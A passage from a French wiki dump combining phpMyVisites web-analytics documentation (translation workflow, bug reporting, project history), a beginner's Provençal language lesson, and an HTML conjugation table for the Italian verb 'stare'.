affichés les résultats. Par ex pour Google, en cherchant « phpmyvisites », la page sera de la forme http://www.google.fr/search?q=phpmyvisites. Il peut y avoir de nombreuses autres variables mais relevez seulement celle contenant le mot clé recherché. La ligne du fichier moteurs.php sera de la forme : "www.google.fr" => array("Google", "q"), Si vous ajoutez ainsi des moteurs de recherche, merci de prévenir l'équipe de développement afin qu'ils soient directement intégrés à la prochaine version. == Calendrier interactif == Le calendrier interactif permet de sélectionner une date d’étude pour les statistiques rapidement et intuitivement. Une liste déroulante propose le choix entre tous les mois depuis l’installation de phpMyVisites. Lors d’un changement de mois, le type de période d’analyse (jour, semaine ou mois) est conservé. Les jours de la période d’analyse sont de couleur orange. Les autres jours analysables sont de couleur bleu. Les jours non analysables sont grisés. Le jour considéré comme premier jour d'installation de phpMyVisites est la date contenu dans le premier champ de la table « phpmv » (avec id=1) ; ce champ n'est jamais supprimé car il permet d'avoir connaissance du premier jour d'installation de phpMyVisites sur le serveur. Si vous l'avez supprimé par mégarde, éditez le premier champ de votre table « phpmv » et remplacez la valeur du id par 0 et la valeur de la date par la date du premier jour de votre installation (respectez bien la norme MySQL : aaaa-mm-dd). == Gestion de plusieurs sites == La gestion de plusieurs sites dans phpMyVisites est gérée de manière très simple. A la création d’un nouveau site à auditer, des nouvelles tables sont créées (avec le numéro du site suivant le préfixe) sur le serveur configuré, dans la base MySQL configurée. Ensuite, seul le nom des tables change dans les requêtes MySQL d’affichage, d’archivage, etc. Le reste de l'application reste inchangé. == Echelle de couleur pour la mappemonde == L'échelle de couleur pour la mappemonde n'est à notre sens pas encore optimale, dans le sens où nous pensons qu'elle pourrait être plus précise (plus de nuances de couleurs ? Des couleurs plus distinctes ? Ou au contraire une teinte plus unie mais progressive ?). Quoi qu'il en soit, il vous suffit d'éditer l'image de la barre de couleurs, et les nouvelles couleurs seront automatiquement prises en compte sur la mappemonde. Il est par contre nécessaire de garder les mêmes dimensions pour l'image de la barre. Si vous arrivez à un résultat concluant, n'hésitez pas à nous faire part de l'image ! == Logos phpMyVisites == Tous les logos disponibles à l'affichage sur les pages des sites audités sont des logos soumis par les utilisateurs de phpMyVisites ! L'idéal serait de toujours enrichir cette base de données de logos afin que chacun trouve le logo qui sied parfaitement à l'esprit graphique de son site Internet. N'hésitez donc pas à soumettre vos créations de logos à l'équipe de développement ! (Sur les forums officiels par exemple) Documentation phpMyVisites/Traductions 4490 16720 2005-07-18T18:20:28Z 140.77.13.69 /* traduire le fichier « en-utf-8.php » ou « fr-utf-8.php » */ [[Catégorie:Documentation phpMyVisites|Traductions]] == Langues disponibles == Les langues disponibles sont : * le français * l'anglais * l'indonésien * l'italien * le néerlandais * le portugais * le russe * le suédois * le chinois simplifié * l'hébreu * l'espagnol * le finlandais * le tchèque * l'allemand * le polonais * le slovène Pour utiliser ces différentes langues, il vous suffit de télécharger la dernière version disponible de phpMyVisites et de sélectionner la langue souhaitée via le menu en haut à droite, dans l'interface de phpMyVisites. == Participer aux traductions == Vous pouvez participer au développement de phpMyVisites dans plusieurs langues, soit en traduisant vous même l'application dans une nouvelle langue, soit si votre langue est déjà disponible, en corrigeant les éventuelles fautes ou erreurs du traducteur. === Comment ajouter une langue dans phpMyVisites ? === Si vous souhaitez utiliser phpMyVisites dans une langue autre que celles qui sont proposées, il vous suffit de traduire vous même l'application. La traduction de phpMyVisites nécessite une parfaite connaissance de la langue dans laquelle la traduction est effectuée ; en effet, il y a de nombreux termes techniques et formulations de phrases qui sont peu communes et nécessite une retranscription parfaite (orthographique et grammaticale). Pour ajouter une langue, il suffit de suivre les étapes suivantes. ==== traduire le fichier « en-utf-8.php » ou « fr-utf-8.php » ==== Ce fichier contient toutes les chaînes texte affichées dans phpMyVisites. La traduction du fichier répond aux quelques règles simples suivantes. * Comme dans toute traduction, il est nécessaire de rester le plus proche possible du texte original, en donnant toutes les informations présentes. Par exemple, dans le terme « Graphique des visites par nombre de pages vues » il est important de traduire « Graphique » et de ne pas omettre la fin de la chaîne ou de la traduire par « et nombre de pages vues » car ce n'est pas le bon sens. * Il ne faut pas changer les caractères à gauche du signe = : ce sont les noms des variables des langues (ex : $lang['logo_description']). La traduction n'est faite que pour les chaînes de caractères à droite du =, entre les guillemets simples. * Le texte situé après le « // » final est un commentaire. Il indique en général le contexte d'apparition de la phrase à traduire. Il peut indiquer aussi si le texte est utilisé sur un graphique, auquel cas il faut s'efforcer de faire une traduction courte, car la place est très limité sur les graphiques. * Il ne faut pas mettre de caractères " (guillemets doubles) car ils ferment le texte en php, et cela provoquerait une erreur dans le fichier. Il faut se limiter aux guillemets simples : '. Si vous utilisez un caractère qui pose problème (le « $ », « \ » ou « " ») il faut les précéder d'un « \ ». Ce qui donnera « \$ », « \\ » et « \" ». * Pour les informations techniques, nous conseillons de mettre le nom complet (au lieu du pseudonyme), et de fournir l'adresse email du traducteur, afin que celui-ci puisse être contacté en cas de problème avec la traduction. Pour le code ISO, voyez le tableau des pays à la fin du fichier qui donne le code correspondant au pays de la langue dans laquelle la traduction est faite. * Dans les textes à traduire, vous trouverez souvent « %s ». Ce code ne doit pas être transformé, mais seulement déplacé dans la phrase et placé à l'endroit où il doit être utilisé. Le « %s » remplace généralement un nombre, une date, ou d'autres textes (un lien vers la documentation, vers le site officiel, etc.). Il faut que dans le texte traduit, il y ait autant de caractères « %s » que dans le texte original. Parfois, en commentaire, le texte qui remplace le %s est donné, afin que le traducteur ait une idée ce que donnera la phrase une fois générée dans phpMyVisites. * De même, d'autres codes peuvent se présenter. Le « &amp;amp; » remplace le caractère « & » (esperluette, signifiant « et ») ; vous n'êtes pas obligé de le laisser dans la traduction, si ce caractère n'est pas utilisé dans la langue que vous traduisez. Les balises « &lt;strong&gt; » et « &lt;/strong&gt; » doivent par contre obligatoirement figurer dans la traduction, et doivent entourer le même texte que dans la chaîne originale. * Pour la traduction des dates, il s'agit de donner l'ordre des différents termes dans une phrase dans la langue dans laquelle la traduction est effectuée. En français, on dit « Lundi 10 Novembre » mais par exemple, dans une autre langue, l'équivalent pourrait être « Novembre Lundi 10 ». Il faut ainsi mettre "%monthlong% %daylong% %daynumeric% " (mois, jour, numéro) au lieu de "%daylong% %daynumeric% %monthlong%" (jour, numéro, mois). Veillez bien à mettre les deux signes % et à ne pas oublier de lettres dans les « codes » correspondant aux dates. ==== encoder le fichier « xx-utf-8.php » dans le jeu de caractères UTF-8 ==== Une fois le fichier entièrement traduit, il faut l'encoder dans le jeu de caractères UTF-8. Pour cela il suffit d'éditer le fichier « /langs/encode2utf8.php » et de renseigner les quelques variables : * $file_to_encode correspond au fichier « autre.php », fichier qui contient les chaînes traduites. * $file_final est le nom du fichier final. Vous pouvez le nom que vous voulez, SAUF bien sûr « encode2utf8.php » ou « autre.php ». Choisissez par exemple (par défaut) « nouvelle_langue.php ». * $charset_initial est le jeu de caractères utilisé pour traduire les chaînes. * $charset_final est le jeu de caractères utilisé par phpMyVisites, UTF-8 par défaut. Vous ne devez pas le changer. Une fois les variables renseignées, il suffit d'executer le fichier « /langs/encode2utf8.php » en vous rendant sur l'adresse du fichier, par ex. http://www.monsite.com/phpmyvisites/langs/encode2utf8.php ». Votre fichier « autre.php » doit se trouver dans ce même répertoire « langs/ ». ==== installer le nouveau fichier de langue dans phpMyVisites ==== Pour cela, rien de plus simple, il suffit de vous rendre dans la partie Administration > Gestion des langues. Le fichier de langues sera automatiquement recrée et votre nouveau fichier sera pris en compte. Vous pouvez alors changer la langue pour spécifier votre traduction. Lors de la consultation des statistiques en utilisant le fichier de langue que vous avez crée, vous trouverez peut-être quelques erreurs de frappe, ou autres problèmes (nombres qui ne s'affichent plus, car peut être avez vous oublié le %s ?). Il vous suffit alors, pour mettre à jour votre fichier, de corriger les erreurs dans le fichier « autre.php » puis de ré-encoder ce fichier en exécutant « /langs/encode2utf8.php ». Vous pouvez faire cela autant de fois que nécessaire jusqu'à ce que la traduction soit parfaite ! ==== transmettre le fichier de langues à l'équipe de développement ==== Votre travail de traduction étant terminé, il vous reste à nous le transmettre (voir formulaire de contact sur le site officiel) afin que celui-ci soit accessible à tous dès la prochaine version publique de phpMyVisites. Vous serez cité dans les remerciements dans l'application et dans cette présente documentation. Merci d'avance à tous les traducteurs ! === J'ai trouvé une faute dans la traduction : que dois je faire ? === Il est alors inutile de contacter l'équipe de développement, car seul le traducteur peut corriger les éventuelles erreurs de frappe ou linguistiques. Contactez alors le traducteur via les remerciements dans l'application (son email y figure) et précisez l'endroit et la phrase qui pose problème. Proposez aussi une correction de cette phrase. Attendez ensuite sa réponse, et si tout se passe bien votre correction sera présente dans la prochaine mise à jour. Si le traducteur ne répond pas, contactez alors l'auteur de l'application (via le formulaire de contact sur le site officiel) et proposez une correction de la chaîne qui pose problème ; nous ferons de notre mieux pour l'intégrer à la prochaine version. D'avance merci à tous les re-lecteurs ! == Remerciements aux traducteurs == Sans ces personnes, phpMyVisites ne serait pas disponibles dans différentes langues. Un grand merci à tous ces contributeurs : * David Carrington, Dennis Levin, Mathieu Gagné pour la traduction anglaise * Angga Wisnu pour la traduction indonésienne * Giuseppe Scarpi, Mickael from Venice pour la traduction italienne * Katrien Cogghe pour la traduction néerlandaise * Leandro Batista Lameiro pour la traduction polonaise * Иван Коваленко pour la traduction russe * Michael Alvmarken pour la traduction suédoise * Mark Cai pour la traduction en chinois (simplifié) * Omer Hanetz pour la traduction en hébreu * Clément Herbo pour la traduction en espagnol * Jarno Tukiainen pour la traduction en finlandais * Vladimír Jarý pour la traduction tchèque * Manuel Sammeth pour la traduction en allemand * Wojtek Woźny pour la traduction polonaise * Migel Mehlmauer pour la traduction slovène * Corinne Langston pour la traduction anglaise du site Internet * Arona Ann Pearlstein pour la traduction anglaise de la documentation Documentation phpMyVisites/Support 4491 16080 2005-07-04T08:26:08Z MyttO 383 [[Catégorie:Documentation phpMyVisites|Support]] == Poser une question et obtenir une réponse == Si vous avez une question à propos de phpMyVisites, que ce soit au niveau des statistiques fournies ou de l'utilisation même du logiciel (problème d'ergonomie, fonctions non comprises, etc.), n'hésitez pas à la soumettre sur le forum « Suggestions et questions diverses » du site officiel. Néanmoins assurez vous que votre question, ou une question similaire, n'ait pas déjà été posée (pour cela effectuez une recherche sur le forum). Si une question similaire a déjà été posée mais qu'elle ne correspond pas parfaitement, essayez de préciser votre demande au sein du sujet déjà existant : cela ne sert à rien de dupliquer les sujets du forum, sauf à faire perdre du temps à l'équipe et aux utilisateurs ! Bien sûr, pour obtenir une réponse, il faut que votre demande soit claire et précise. N'oubliez pas non plus d'être un minimum poli, les personnes qui vous répondront le feront sur leur temps libre. == Soumettre un bug == Il est fortement conseillé, si vous rencontrez un bug dans l'utilisation de phpMyVisites, de soumettre ce bug à l'équipe de développement. Il est pour nous très important de corriger tous les bugs connus pour rendre phpMyVisites le plus stable et sûr possible. Les rapports de bugs sont faits dans le forum prévu à cet effet sur le site officiel. Voici quelques recommandations à prendre en compte avant de soumettre un bug dans le forum : * Tout d'abord assurez-vous que le bug soit reproduisible ; un bug reproduisible est un bug solutionnable. Si il ne l'est pas, efforcez vous de décrire le plus précisément possible le contexte dans lequel il est apparu (rubrique parcouru, type de période sélectionné, action précédente, etc.). Si vous parvenez à répéter le bug, décrivez précisément le protocole pour le reproduire. Accessoirement donnez l'adresse de votre site et de votre installation de phpMyVisites afin que l'équipe puisse directement voir le problème. * Ensuite il est indispensable d'effectuer une recherche dans le forum ET dans la FAQ (foire aux questions) pour voir si votre bug a déjà été soumis. Il est très déconseillé de poster un même bug plusieurs fois dans le forum, cela n'aura pour but que de ralentir l'équipe ; le temps perdu à faire le tri le sera sur la correction. Si votre bug est déjà soumis, essayez de compléter la description du problème en répondant au sujet du forum correspondant : faites alors votre propre description si elle semble différente de la description déjà présente. * Si votre bug n'a pas été encore soumis par un autre utilisateur, vous pouvez alors créer un nouveau sujet. Le titre du sujet doit être très clair et doit parler du problème rencontré ; interdisez vous par exemple les sujets « ça ne marche pas » ou « bug dans phpmyvisites », préférez « présentation des données inversée » ou « archivage du mois : résultats faux ». N'oubliez pas de cocher la case pour recevoir les réponses par email afin que vous puissiez répondre si l'équipe a des questions spécifiques à poser, le bug sera plus vite résolu. Cela est très frustrant pour nous si l'utilisateur qui a découvert un bug ne répond plus aux demandes et questions que l'équipe de développement se pose. Dans le corps même de la description du bug, nous conseillons de noter (si vous en avez connaissance) : ** votre type de serveur et la version. Ex : Apache 1.2.22, IIS 4, Sambar, etc. ** la version de PHP ET les librairies installées et configurées. Ex : PHP 4.1.1 avec GD2 et FreeType ** votre version de base de données. Ex : MySQL 3.23.32 Pour obtenir ces informations, le plus simple et rapide est de créer un fichier 'phpinfo.php' sur votre serveur contenant le code suivant : <?php phpinfo(); ?> Rendez vous ensuite sur ce fichier avec votre navigateur et vous trouverez toutes les informations nécessaires précédentes relatives à votre configuration. Il faut être le plus rigoureux possible lors de la description du bug. Comme expliqué ci-dessus, une bonne description fera gagner énormément de temps et le bug pourra être rapidement corrigé. Une fois le bug corrigé, vous serez averti sur le forum et par email de la solution ; vous pourrez alors la corriger vous même ou attendre la prochaine version. Merci d'avance de votre aide ! == Suggérer une amélioration == Si une fonctionnalité non présente dans phpMyVisites vous serait utile, ou si une fonctionnalité déjà présente ne vous semble pas pratique, n'hésitez pas à en faire part à l'équipe de développement. Il vous suffit de poser un message dans le forum « Suggestions et questions diverses » sur le site officiel. Assurez vous au préalable que votre requête n'a pas déjà été effectuée par un autre utilisateur (faites une recherche sur le forum). Si votre demande semble pertinente, elle pourra être prise en compte par l'équipe de développement qui l'ajoutera à la liste des fonctionnalités à implémenter dans une prochaine version. N'hésitez pas, de nombreuses nouvelles fonctionnalités ont été implémentées suite à des demandes de la part des utilisateurs. Gardez bien sûr à l'esprit que les développeurs sont volontaires et non rémunérés, aucune garantie n'est donnée sur la suite de votre demande. Si une fonctionnalité vous manque semble vraiment indispensable, le plus simple est de participer au développement, toute contribution est accueillie avec enthousiasme et l'équipe de développeurs vous soutiendra et vous aidera avec plaisir. Documentation phpMyVisites/A propos 4492 16223 2005-07-07T06:47:31Z MyttO 383 /* Pourquoi le projet phpMyVisites ? */ [[Catégorie:Documentation phpMyVisites|A Propos]] == Pourquoi le projet phpMyVisites ? == La création du projet '''phpMyVisites''' répond à un important besoin de disposer d'un [[w:logiciel libre|logiciel libre]] (et gratuit) qui propose les principales fonctionnalités des outils professionnels (et payants). phpMyVisites n'a pas la prétention de concurrencer directement les outils payants déjà existants, dont certains sont très complets et sur lesquels travaillent plusieurs développeurs à temps plein. phpMyVisites se situe plutôt au niveau des outils gratuits issus de ces outils payants (dont les fonctionnalités sont en général « bridées » et qui obligent l'affichage d'un logo de publicité), à la différence près que phpMyVisites n'oblige à rien, vous laisse la liberté et le contrôle total de votre outil de statistiques. Aux utilisateurs de faire leur choix ! == Bref historique == L'histoire de phpMyVisites est courte (le logiciel est paru en version officielle depuis à peine un an), mais elle n'est pas réellement classique car certains événements m'ont permis de développer phpMyVisites plus rapidement que si j'avais dû le faire seulement pendant mes temps libres... La première version de phpMyVisites, appelée à l'époque « bêta 0.1 », a été développée de Juillet à Septembre 2002, puis en Mars-Avril 2003, afin d'être présentée au « Concours européen des jeunes créateurs multimédia », le concours « SoftQuiPeut », qui se déroulait les 4 et 5 Avril 2003 au palais des congrès du Futuroscope. Elue vainqueur du prix des concurrents, j'ai gagné (avec un ami) un stage de 5 semaines au Québec, à Montréal. Ce stage, effectué dans une entreprise de bêta-test de jeux vidéos, m'a permis de me consacrer au développement de la version 1.0 de phpMyVisites ; le directeur de l'entreprise était en effet très intéressé par les statistiques de son site Internet, et souhaitait disposer d'un outil complet qui réponde à ses principales interrogations. J'ai ainsi pu travailler l'équivalent d'un plein temps pendant 3 semaines sur phpMyVisites. La première version, la b0.1, souffraient de nombreux problèmes, principalement dus à des erreurs de conception de l'architecture du logiciel. Le développement de la version 1.0 a nécessité une totale réécriture du code source ; elle a été publiée, après de nombreux tests sur des sites partenaires, le 10 Octobre 2003. ;La version 1.1: publiée en version stable le 25 Décembre propose d'intéressantes améliorations (choix des variables GET, ne pas prendre en compte le webmaster dans les statistiques) mais surtout corrige de nombreux petits bugs qui rendent cette version particulièrement stable et sûre. ;La version 1.2: est un grand pas pour phpMyVisites, puisque dorénavant les traductions sont réalisables dans toutes les langues existantes. Cette caractéristique a nécessité énormément de travail (partagé entre Marc et Matthieu), et l'application a aussi été convertie intégralement en XHTML/CSS valide ; plus modulaire, plus complète (ajout de statistiques), plus ergonomique (de nombreuses corrections suite à des suggestions d'utilisateurs), plus sécurisée (de nombreuses améliorations dans ce sens), et plus rapide (requêtes SQL optimisées pour un gain de performance de 30%), la version 1.2 représente la plus grande évolution de phpMyVisites depuis la 1.0. ;La version 1.3: n'apporte aucune révolution mais quelques nouveautés : phpMyVisites s'internationalise et est maintenant disponible en 16 langues. Des corrections graphiques sont effectuées : choix entre de nombreux logos pour la configuration des sites, ajout des logos des OS/navigateurs et des drapeaux des pays. La procédure de mise à jour de la base de données est instaurée. De nombreux bug fix sont implémentés, pour rendre phpMyVisites toujours plus stable. La principale amélioration est la prise en compte des plugins des visiteurs. == Divers == ; Pourquoi le nom phpMyVisites ?: « php »... du fait du langage utilisé, le php. « My » qui est le début de « MySQL » qui est la base de données utilisée dans phpMyVisites. « Visites » pour l'évident objectif de phpMyVisites : renseigner le webmaster sur ses visiteurs ! Nous avons récemment appris que la php team n'appréciait pas énormément que des scripts php utilisent le mot php dans leur nom. Malheureseument, nous l'avons appris trop tard, et il nous est aujourd'hui impossible de changer le nom du logiciel... ; Pourquoi le logo éléphant ?: Cet éléphant communément appelé « elephpant » est la mascotte (presque) officielle du php. Elle est l'oeuvre de Vincent Pontier, et vous pouvez retrouver ses créations sur http://www.elroubio.net/. ; Pourquoi la couleur bleu prédominante ?: J'aime personnellement cette couleur, un cadre bleu ou un texte bleu sur un fond blanc donne un rendu très visible et agréable. Bien sûr il est possible d'éditer la feuille de style afin de modifier toutes les couleurs et de « tuner » votre phpMyVisites. N'hésitez pas à nous transmettre les changements, on pourrait imaginer dans une prochaine version de choisir entre différentes feuilles de style ! == L'équipe de développement et de rédaction de la documentation == Le créateur du projet, principal développeur et rédacteur de la présente documentation est Matthieu Aubry. Marc Boussard est co-développeur de phpMyVisites, il a développé d'importantes mises à jour (validation XHTML, internationalisation). Natsimhan a participé ponctuellement à l'évolution du logiciel, via ses intéressantes remarques et observations sur le code source. Florent Chantret s'est également impliqué via le développement de la reconnaissance des plugins, de la procédure de mise à jour des bases de données. == Licence de phpMyVisites == phpMyVisites est un logiciel libre, distribué sous licence GNU/GPL. Vous pouvez trouver cette licence sur http://www.gnu.org/copyleft/gpl.html en version originale, ou sur http://www.linux-france.org/article/these/gpl.html en traduction non officielle. Elles sont aussi disponibles dans le package de phpMyVisites sur /docs/. == Licence de la documentation == ''Confer'' la [[discuter:Documentation phpMyVisites/A propos|discussion]]... Modèle:00 4495 17994 2005-07-29T14:18:45Z Darkdadaah 440 +légende ébauche [[Image:00%.png|Ébauche]] Modèle:0/4 4496 17995 2005-07-29T14:19:46Z Darkdadaah 440 +légende ébauche [[Image:00%.png|Ébauche]] Modèle:Documentation phpMyVisites 4497 16085 2005-07-04T08:39:04Z MyttO 383 [[Catégorie:Documentation phpMyVisites|{{{1}}}]] Provençal 4499 30549 2006-01-27T18:03:51Z 85.178.219.26 {{ébauche}} [[Image:Provence flag.svg|right|319px|Drapeau provençal]] Ce livre est destiné à enseigner aux débutants francophones ''lou '''prouvençau maritimo''''' ([[w:provençal|provençal]] maritime) en graphie [[w:Frédéric Mistral|mistral]]ienne. ==[[Image:Gnome-speakernotes.png|36px|haut-parleur]]Prononciation== *Le ''o'' terminant un mot ne se prononce pas. ===Lei [[w:Diphtongue|diftoungo]]=== #ai : #au : Pascau #ei : #oi : galoi, goi (boiteux), ninoi, auboi #oui : foui, fouison, couissin #òu : rossignòu, pataflòu #óu : óulivo, óudour #ue : vuech (huit), puèi #éu : #èu : ===Lei [[w:Triphtongue|triftoungo]]=== #iai : travaiaire (travailler), tambourinaire #iau : bestiau, prouvinciau #ièi : sieis, despièu #iéu : siéu (sien), estiéu (l'été), ciéune (cygne), piéu-piéu (cui-cui) #ièu : jouièu (joyaux), bouièu (boyaux) #iòu : biòu (bœuf), faiòu (haricot) #iue : piue, niue #uei : encuei (aujourd'hui), acuei (accueil), plueio (pluie) #iuen : siuen (soins), liuen (loin) ==[[Image:Nuvola_apps_edu_languages.png|36px|Parler]]Se présenter== Coumo ti dien ? Mi dien Virginio :Comment t'appelle tu ? :Je m'appelle Virginie Ounte rèstes ? Rèsti à Figaniero :Où habites-tu ? :J'habite à [[w:Figanières|Figanières]] ==[[Image:Noia 64 apps karm.png|36px|Calendrier]]La date== :La dato d'encuei : dimars lou dès-e-sèt d'avoust de dous milo cinq :La date d'aujourd'hui : mardi, le dix-sept août deux mille cinq {| id="toc" border="1" !style=align="center" colspan="7"|'''Lei sèt jour de la semano''' |- |dilun |dimars |dimècre |dijòu |divèndre |dissate |dimènche |- |lundi |mardi |mercredi |jeudi |vendredi |samedi |dimanche |} {| id="toc" border="1" !style=align="center" colspan="12"|'''Lei douge mès''' |- |janvié |febrié |mars |abriéu |mai |jun |juliet |avoust |setèmbre |óutobre |nouvèmbre |desèmbre |- |janvier |février |mars |avril |mai |juin |juillet |août |septembre |octobre |novembre |décembre |} {| id="toc" border="1" !style=align="center" colspan="9"|'''Lei chiffro''' |- |un, uno |dous, douei, douas |très |quatre |cinq |siès |sèt |vuech |nòu |- align="center" |1 |2 |3 |4 |5 |6 |7 |8 |9 |} {| id="toc" border="1" !style=align="center" colspan="11"|'''Lei noumbro''' |- align="center" |dès |(v)ounge |douge |trege |quartorge |qui(e)nge |sège |dès-e-sèt |dès-e-vuech |dès-e-nòu |- align="center" |10 |11 |12 |13 |14 |15 |16 |17 |18 |19 |- align="center" |vint |trento |quaranto |cinquanto |seissanto, sièssanto |setanto |quatre vint, vuetanto |nòunanto |cènt |milo |- align="center" |20 |30 |40 |50 |60 |70 |80 |90 |100 |1000 |- align="center" |dès milo |cènt milo |un milien |dès milien |cènt milien |un miliard ||||||| |- align="center" |10 000 |100 000 |1000 000 |10 000 000 |100 000 000 |1000 000 000 ||||||| |} ===[[Image:Nuvola_apps_edu_miscellaneous.png|36px|Tableau]]Lei noumbro : eisercice=== Ecrivez les nombres en toute lettre : (Cliquez sur ''modifier'' pour la solution) *233 <!-- Dous cènt trento très --> *10405 <!-- Dès milo quatre cènt cinq --> *284 <!-- Dous cènt quatre vint quatre --> *30100 <!-- Trento milo cènt --> ===[[Image:Nuvola_apps_edu_miscellaneous.png|36px|Tableau]]La dato : eisercice=== Traduisez les dates : (Cliquez sur ''modifier'' pour la solution) *Vendredi 2 octobre 1999 <!-- Divèndre, lou dous óutobre de milo nòu cènt nòunanto nòu --> *Dimanche 18 avril 1788 <!-- Dimènche, lou dès-e-vuech de milo sèt cènt quatre-vint vuech --> *Mardi 14 février 2006 <!-- Dimars, lou quatorge febrié de dous milo siès --> ==[[Image:Nuvola 64 apps kcoloredit.png|36px|Palette]]Expressions== Bouano annado, bèn granado e bèn acoumpagnado :Bonne année, bien prospère, et bien accompagnée (de santé) Se fai pas lou civié avans d'avé la lèbre :On ne fait pas le civet avant d'avoir le lièvre ==[[Image:Books-aj.svg aj ashton 01.png|36px|Livres]]Vocabulaire== [[Image:Vaucluse-roussillon-village.jpg|thumb|right|250px|Pichoun vilage de Prouvenço]] Lou grapaud (le crapaud) La granouio (la grenouille) Lou drôle (le garçon) ===Pluriel=== Le nom ne reçoit pas la marque du pluriel (le ''s''). Lei fiho (les filles) Lei drôle (les garçons) Lei cansoun (les chansons) ==Liens externes== *[[w:oc:Acuèlh|L'encyclopédie en occitan]] (principalement en graphie classique) [[Category:Langue|Provençal]] [[en:Provençal]] 1ère conjugaison - stare (rester, être) 4500 16125 2005-07-04T19:33:04Z Liquid Bird 382 <center>'''INDICATIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; simple'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">sto</div> </td> <td width="26%"> <div align="center">stavo</div> </td> <td width="27%"> <div align="center">star&ograve;</div> </td> <td width="24%"> <div align="center">stetti</div> </td> </tr> <tr> <td width="23%"> <div align="center">stai</div> </td> <td width="26%"> <div align="center">stavi</div> </td> <td width="27%"> <div align="center">stari</div> </td> <td width="24%"> <div align="center">stesti</div> </td> </tr> <tr> <td width="23%"> <div align="center">sta</div> </td> <td width="26%"> <div align="center">stava</div> </td> <td width="27%"> <div align="center">star&agrave;</div> </td> <td width="24%"> <div align="center">stette</div> </td> </tr> <tr> <td width="23%"> <div align="center">stiamo</div> </td> <td width="26%"> <div align="center">stavamo</div> </td> <td width="27%"> <div align="center">staremo</div> </td> <td width="24%"> <div align="center">stemmo</div> </td> </tr> <tr> <td width="23%"> <div align="center">state</div> </td> <td width="26%"> <div align="center">stavate</div> </td> <td width="27%"> <div align="center">starete</div> </td> <td width="24%"> <div align="center">steste</div> </td> </tr> <tr> <td width="23%"> <div align="center">stanno</div> </td> <td width="26%"> <div align="center">stavano</div> </td> <td width="27%"> <div align="center">staranno</div> </td> <td width="24%"> <div align="center">stettero</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pass&eacute; compos&eacute;'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Plus-que-parfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Futur ant&eacute;rieur'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Pass&eacute; ant&eacute;rieur'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">sono stato(a)</div> <td width="26%"> <div align="center">ero stato(a)</div> </td> <td width="27%"> <div align="center">sar&ograve; stato(a)</div> </td> <td width="24%"> <div align="center">fui stato(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">sei stato(a)</div> </td> <td width="26%"> <div align="center">eri stato(a)</div> </td> <td width="27%"> <div align="center">sarai stato(a)</div> </td> <td width="24%"> <div align="center">fosti stato(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">&egrave; stato(a)</div> </td> <td width="26%"> <div align="center">era stato(a)</div> </td> <td width="27%"> <div align="center">sar&agrave; stato(a)</div> </td> <td width="24%"> <div align="center">fu stato(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">siamo stati(e)</div> </td> <td width="26%"> <div align="center">eravamo stati(e)</div> </td> <td width="27%"> <div align="center">saremo stati(e)</div> </td> <td width="24%"> <div align="center">fummo stati(e)</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">siete stati(e)</div> </td> <td width="26%" height="13"> <div align="center">eravate stati(e)</div> </td> <td width="27%" height="13"> <div align="center">sarete stati(e)</div> </td> <td width="24%" height="13"> <div align="center">foste stati(e)</div> </td> </tr> <tr> <td width="23%"> <div align="center">sono stati(e)</div> </td> <td width="26%"> <div align="center">erano stati(e)</div> </td> <td width="27%"> <div align="center">saranno stati(e)</div> </td> <td width="24%"> <div align="center">furono stati(e)</div> </td> </tr> </table> <center>'''SUBJONCTIF'''</center> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div align="center">'''Pr&eacute;sent'''</div> </td> <td bgcolor="#FFE9BB" width="26%"> <div align="center">'''Imparfait'''</div> </td> <td bgcolor="#E6CCF2" width="27%"> <div align="center">'''Pass&eacute;'''</div> </td> <td bgcolor="#BCE9A7" width="24%"> <div align="center">'''Plus-que-parfait'''</div> </td> </tr> <tr> <td width="23%"> <div align="center">stia</div> </td> <td width="26%"> <div align="center">stessi</div> </td> <td width="27%"> <div align="center">sia stato(a)</div> </td> <td width="24%"> <div align="center">fossi stato(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">stia</div> </td> <td width="26%"> <div align="center">stessi</div> <td width="27%"> <div align="center">sia stato(a)</div> </td> <td width="24%"> <div align="center">fossi stato(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">stia</div> </td> <td width="26%"> <div align="center">stesse</div> </td> <td width="27%"> <div align="center">sia stato(a)</div> </td> <td width="24%"> <div align="center">fosse stato(a)</div> </td> </tr> <tr> <td width="23%"> <div align="center">stiamo</div> </td> <td width="26%"> <div align="center">stessimo</div> </td> <td width="27%"> <div align="center">siamo stati(e)</div> </td> <td width="24%"> <div align="center">fossimo stati(e)</div> </td> </tr> <tr> <td width="23%" height="13"> <div align="center">stiate</div> </td> <td width="26%" height="13"> <div align="center">steste</div> </td> <td width="27%" height="13"> <div align="center">siate stati(e)</div> </td> <td width="24%" height="13"> <div align="center">foste stati(e)</div> </td> </tr> <tr> <td width="23%"> <div align="center">stiano</div> </td> <td width="26%"> <div align="center">stessero</div> </td> <td width="27%"> <div align="center">siano stati(e)</div> </td> <td width="24%"> <div align="center">fossero stati(e)</div> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td height="52"> <div align="center">'''CONDITIONNEL'''</div> </td> <td width="27%" height="52"> <div align="center">'''IMP&Eacute;RATIF'''</div> </td> <td width="24%" height="52"> <div align="center">'''PARTICIPE PASS&Eacute;'''</div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCEBFF" width="23%"> <div 